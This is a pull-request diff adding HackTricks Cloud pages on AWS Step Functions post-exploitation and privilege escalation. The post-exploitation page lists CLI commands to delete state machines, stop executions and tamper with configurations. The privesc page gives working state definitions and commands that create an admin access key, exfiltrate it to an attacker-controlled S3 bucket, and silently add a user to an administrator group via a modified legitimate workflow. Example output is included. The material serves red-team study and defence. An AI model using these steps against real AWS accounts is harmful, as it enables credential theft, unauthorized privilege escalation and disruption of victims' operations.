Merge pull request #72 from m4dn3g4t1v3/dbd

aws-stepfunctions-enum v1, aws-stepfunctions-privesc v1 & aws-stepfunctions-post-exploitation v1
HackTricks-wiki · Jul 17, 2024 · abf48d6 · abf48d6
2 parents a43783c + 3a75646
commit abf48d6
Show file tree

Hide file tree

Showing 3 changed files with 738 additions and 0 deletions.
diff --git a/...cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/...cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -0,0 +1,95 @@
+# AWS - Step Functions Post Exploitation
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Step Functions
+
+For more information about this AWS service, check:
+
+{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
+[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
+{% endcontent-ref %}
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
+
+{% hint style="info" %}
+
+- Deleting a state machine you also delete all its associated versions and aliases.
+- Deleting a state machine alias you do not delete the state machine versions referecing this alias.
+- It is not possible to delete a state machine version currently referenced by one o more aliases.
+
+{% endhint %}
+
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+
+- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
+
+### `states:UpdateMapRun`
+
+An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
+
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+
+- **Potential Impact**: Performance degradation, and disruption of critical workflows.
+
+### `states:StopExecution`
+
+An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
+
+{% hint style="warning" %}
+This action is not supported by **express state machines**.
+{% endhint %}
+
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+
+- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
+
+### `states:TagResource`, `states:UntagResource`
+
+An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
+
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+
+**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
diff --git a/...esting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/...esting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -0,0 +1,270 @@
+# AWS - Step Functions Privesc
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Step Functions
+
+For more information about this AWS service, check:
+
+{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
+[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
+{% endcontent-ref %}
+
+### `states:TestState` & `iam:PassRole`
+
+An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
+
+```bash
+aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
+```
+
+The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action:
+
+- **stateDefinition.json**:
+
+```json
+{
+  "Type": "Task",
+  "Parameters": {
+    "UserName": "admin"
+  },
+  "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+  "End": true
+}
+```
+
+- **Command** executed to perform the privesc:
+
+```bash
+aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
+
+{
+  "output": "{
+	  \"AccessKey\":{
+		  \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
+		  \"CreateDate\":\"2024-07-09T16:59:11Z\",
+		  \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
+		  \"Status\":\"Active\",
+		  \"UserName\":\"admin\"
+	  }
+  }",
+	"status": "SUCCEEDED"
+}
+```
+
+- **Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
+
+### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
+
+An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine.
+
+```bash
+# Create a state machine
+aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+# Start a state machine execution
+aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+# Start a Synchronous Express state machine execution
+aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+```
+
+The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine  to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions.
+
+- **stateMachineDefinition.json**:
+
+```json
+{
+  "Comment": "Malicious state machine to create IAM access key and upload to S3",
+  "StartAt": "CreateAccessKey",
+  "States": {
+    "CreateAccessKey": {
+      "Type": "Task",
+      "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+      "Parameters": {
+        "UserName": "admin"
+      },
+      "ResultPath": "$.AccessKeyResult",
+      "Next": "PrepareS3PutObject"
+    },
+    "PrepareS3PutObject": {
+      "Type": "Pass",
+      "Parameters": {
+        "Body.$": "$.AccessKeyResult.AccessKey",
+        "Bucket": "attacker-controlled-S3-bucket",
+        "Key": "AccessKey.json"
+      },
+      "ResultPath": "$.S3PutObjectParams",
+      "Next": "PutObject"
+    },
+    "PutObject": {
+      "Type": "Task",
+      "Resource": "arn:aws:states:::aws-sdk:s3:putObject",
+      "Parameters": {
+        "Body.$": "$.S3PutObjectParams.Body",
+        "Bucket.$": "$.S3PutObjectParams.Bucket",
+        "Key.$": "$.S3PutObjectParams.Key"
+      },
+      "End": true
+    }
+  }
+}
+```
+
+- **Command** executed to **create the state machine**:
+
+```bash
+aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
+{
+  "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
+  "creationDate": "2024-07-09T20:29:35.381000+02:00"
+}
+```
+
+- **Command** executed to **start an execution** of the previously created state machine:
+
+```json
+aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
+{
+    "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+    "startDate": "2024-07-09T20:33:35.466000+02:00"
+}
+```
+
+{% hint style="warning" %}
+
+The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. 
+
+{% endhint %}
+
+- **Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
+
+### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
+
+An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
+
+Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations:
+
+1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough.
+2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition.
+
+```bash
+aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+```
+
+The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
+
+{% hint style="warning" %}
+
+If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached).
+
+{% endhint %}
+
+{% tabs %}
+
+{% tab title="Legit State Machine" %}
+
+```json
+{
+  "Comment": "Hello world from Lambda state machine",
+  "StartAt": "Start PassState",
+  "States": {
+    "Start PassState": {
+      "Type": "Pass",
+      "Next": "LambdaInvoke"
+    },
+    "LambdaInvoke": {
+      "Type": "Task",
+      "Resource": "arn:aws:states:::lambda:invoke",
+      "Parameters": {
+        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+      },
+      "Next": "End PassState"
+    },
+    "End PassState": {
+      "Type": "Pass",
+      "End": true
+    }
+  }
+}
+```
+
+{% endtab %}
+
+{% tab title="Malicious Updated State Machine" %}
+
+```json
+{
+  "Comment": "Hello world from Lambda state machine",
+  "StartAt": "Start PassState",
+  "States": {
+    "Start PassState": {
+      "Type": "Pass",
+      "Next": "LambdaInvoke"
+    },
+    "LambdaInvoke": {
+      "Type": "Task",
+      "Resource": "arn:aws:states:::lambda:invoke",
+      "Parameters": {
+        "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+      },
+      "Next": "AddUserToGroup"
+    },
+    "AddUserToGroup": {
+      "Type": "Task",
+      "Parameters": {
+        "GroupName": "administrator",
+        "UserName": "unprivilegedUser"
+      },
+      "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
+      "Next": "End PassState"
+    },
+    "End PassState": {
+      "Type": "Pass",
+      "End": true
+    }
+  }
+}
+```
+
+{% endtab %}
+
+{% endtabs %}
+
+- **Command** executed to **update** **the legit state machine**:
+
+```bash
+aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
+{
+    "updateDate": "2024-07-10T20:07:10.294000+02:00",
+    "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+```
+
+- **Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>